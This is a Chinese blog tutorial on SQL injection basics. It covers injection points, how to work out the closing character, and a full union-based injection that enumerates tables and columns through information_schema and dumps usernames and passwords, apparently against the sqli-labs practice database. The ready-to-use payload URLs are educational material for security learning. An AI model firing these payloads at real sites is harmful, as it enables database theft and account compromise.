sql注入基础

本文详细介绍了Web应用程序中的SQL注入概念,涉及SQL注入的定义、分类、危害,以及如何判断和防御闭合符、union注入的步骤,强调理解和实践的重要性。
摘要由CSDN通过智能技术生成

目录

前言:

一、web应用程序

二、什么是sql注入

1、定义

2、分类

按查询字段

按注入方法

3、危害

三、sql注入点

1、定义

2、分类

3、判断

是否存在注入点

注入点类型

四、闭合符

1、定义

2、常见闭合方式

3、闭合的作用

4、判断闭合方式

方法一:转义字符‘ \ ’

方法二:尝试

五、union联合注入

1、判断注入类型

2、判断闭合方式

3、判断列数(正常union注入都需要判断列数)

4、判断回显位

 5、查询数据库

6、 爆表

7、爆列

8、得到username和password

总结:


前言:

理解web解析sql语句流程,了解sql注入类型,学会判断闭合方式,理解union注入中的每一步,最好能够用phpadmin结合使用学习

一、web应用程序

三层架构:

  1. 数据显示层(界面层或Web层):这是用户可以看到和与之交互的界面。它负责接收用户的请求,封装数据,并调用业务逻辑层来完成处理。界面层通常由JSPServlet等技术实现,并且可以包含与Web相关的内容,如HTMLCSSJavaScript
  2. 业务逻辑层(Service层):这个层处理具体的业务逻辑,组合数据访问层中的简单方法,形成复杂的功能。业务逻辑层不包含Java Web API,只关注业务逻辑的处理;
  3. 数据访问层(Data Access Object层或Dao层):这个层负责与数据存储进行交互,包括数据的增、删、改、查等操作。数据访问层通常定义了对数据库最基本的CRUD操作,并且可以通过不同的数据访问技术来实现,如JDBCMyBatisHibernate等。

流程:

  1. 在 Web 浏览器中输入 172.16.17.201:8000 连接到工作室服务器。
  2. 业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。
  3. 脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 sql 语句。
  4. 数据访问层的DBMS(数据库管理系统)返回 sql 语句执行结果给 Web 服务器。
  5. 业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。
  6. 表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。

二、什么是sql注入

1、定义

sql注入就是通过把sql命令插到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器通过权限验证执行恶意的sql命令,从而进一步得到相应的数据信息。

简单来说,就是通过构造一条sql语句,来查询想得到的信息。

2、分类

  • 按查询字段
  1. 字符型:当输入的参数为字符串时,称为字符型;
  2. 数字型:当输入的参数为整形时,可以认为是数字型注入。
  • 按注入方法
  1. union注入
  2. 报错注入
  3. 布尔盲注
  4. 时间盲注
  5. 堆叠注入

3、危害

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,脱取数据库中的数据内容(脱库),可获取网站管理员帐号、密码悄无声息的进行对网站后台操作等。
  • 网页篡改:通过操作数据库对特定网页进行篡改,可严重影响正常业务进行。
  • 网站被挂马:将恶意文件写入数据库,修改数据库字段值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 文件系统操作:列取目录、读取、写入shell文件获取webshell,远程控制服务器,安装后门,经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 执行系统命令:远程命令执行,可破坏硬盘数据,瘫痪全系统。

三、sql注入点

1、定义

注入点就是可以实现sql注入的地方,通常是一个访问数据库的连接。

2、分类

  • GET参数中的注入(URL):可以在地址栏获得URL和参数等,然后用Sqlmap或者手工验证是否存在注入。最容易被发现。
  • POST请求中的注入(抓包):可以用burpsuite抓包,也可以直接用浏览器插件Hackbar来发送POST包,还可以可以用Sqlmap
  • User-Agent中的注入(抓包):可以用burpsuite抓包,也可以将Sqlmap的参数设置为level=3,这样Sqlmap会自动检测User-Agent中是否存在注入。
  • Cookies中的注入(浏览器插件、抓包):可以用burpsuite抓包,也可以将Sqlmap的参数设置为level=2,这样Sqlmap会自动检测Cookies中是否存在注入,还可以用浏览器插件Hackbar直接修改Cookies。

3、判断

  • 是否存在注入点

(1)在参数位置修改参数值,eg:id=1修改为2后是否数据改变

(2)插入单、双引号的检测方法(常用),未闭合的单引号会引起SQL语句单引号未闭合的错误提示

  • 注入点类型

(1)数字型注入点:这一类的 SQL 语句原型大概为SELECT * FROM users WHERE id=$id;,使用?id=1 and 1=1和?id=1 and 1=2来判断,如果都能正常显示界面则是字符型注入,不能正常显示就是数字型注入

 

(2)字符型注入点:这一类的 SQL 语句原型大概为 SELECT * FROM users WHERE id='$id';使用?id=1' and '1'=1和?id='1 and 1=2来判断如果能正常显示是字符型注入,报错就是数字型注入

 (3)搜索型注入点 :这是一类特殊的注入类型,这一类的 SQL 语句原型大概为 select * from 表名 where 字段 like '%关键字%'

四、闭合符

1、定义

MYSQL数据库的包容性较强,如果输入了错误的数据类型,MYSQL数据库会自动将其转换成正确的数据类型,如:输入1)、1"、1-等,只要数字后面的字符不是闭合符的,数据库都会把你输入的错误数据类型转换成正确的数据类型。若输入的数字后面的字符恰好是闭合符,则会形成闭合,若闭合后形成的sql语句是错误的,那么sql语句执行就会错误,从而造成页面显示错误

字符型需要闭合符;数字型不需要闭合符。

2、常见闭合方式

?id=1'、?id=1"、?id=1')、?id=1")等,大多都是单引号、双引号、括号的组合。

3、闭合的作用

闭合符是为了结束上一段的查询语句,后面即可加入其他语句,查询需要的参数,不需要的语句可以用注释符‘ --+ ’或‘ # ’或‘ %23 ’将程序段脱离运行。(把某段程序注释掉就是让它暂不运行而不是删掉)

4、判断闭合方式

随便在url输入?id=1'''

near ' ' 1''' ' LIMIT 0,1'(空格更清晰实际无空格)

方法一:转义字符‘ \ ’

数字型

单引号闭合id=1'

双引号闭合id=1"

单引号加括号闭合id=1')

双引号加括号闭合id=1")

方法二:尝试

首先尝试?id=1’或?id=1”
结果一:如果都报错
判断闭合符为:整形闭合。

结果二:如果单引号报错,双引号不报错。

继续尝试?id=1’ --+

结果一:无报错
判断闭合符为:单引号闭合。

结果二:报错
判断闭合符可能为:单引号加括号。

结果三:如果单引号不报错,双引号报错。

继续尝试?id=1" --+

结果一:结果无报错
判断闭合符为:双引号闭合。

结果二:报错
判断闭合符可能为:双引号加括号。

五、union联合注入

1、判断注入类型

2、判断闭合方式

3、判断列数(正常union注入都需要判断列数)

使用group by或order by判断(二分法)

?id=1' group by 3--+

?id=1' order by 3--+        #监测比较严格容易被阻挡

4、判断回显位

使用union select

?id=-1' union select 1,2,3--+        #上面判断出只有三列故只有到3

SELECT * FROM users WHERE id='1' UNION SELECT 1,2,3;

 

易错点

?id=1' union select 1,2,3--+         

如果是存在的id,则会识别到主键列id=1则不会回显2,3,而是回显id=1的内容,故应该用不存在的id如id=-1或id=0等

 

 5、查询数据库

使用union select database()

?id=-1' union select 1,2,database()--+         #在2,3都可以,但1是主键列故不可以

 

6、 爆表

补充

数据库information_schema:包含所有mysql数据库的简要信息,其中包含两个所需的数据表tables(表名集合表)和columns(列名集合表)

?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

 但是发现查到的信息其实不全,所以需要使用group_concat()确保所有查询到的信息能放到一行显示出来

select group_concat(table_name) from information_schema.tables where table_schema='security';

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 

7、爆列

select group_concat(column_name) from information_schema.columns where table_name='users';

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 

 

8、得到username和password

?id=-1' union select 1,2,group_concat(username,password) from users--+

 

总结:

做sql注入题不能盲目做题死记语法要理解其中sql语句的用法,结合phpadmin在上面挖取数据加强理解。

 

 

  • 20
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值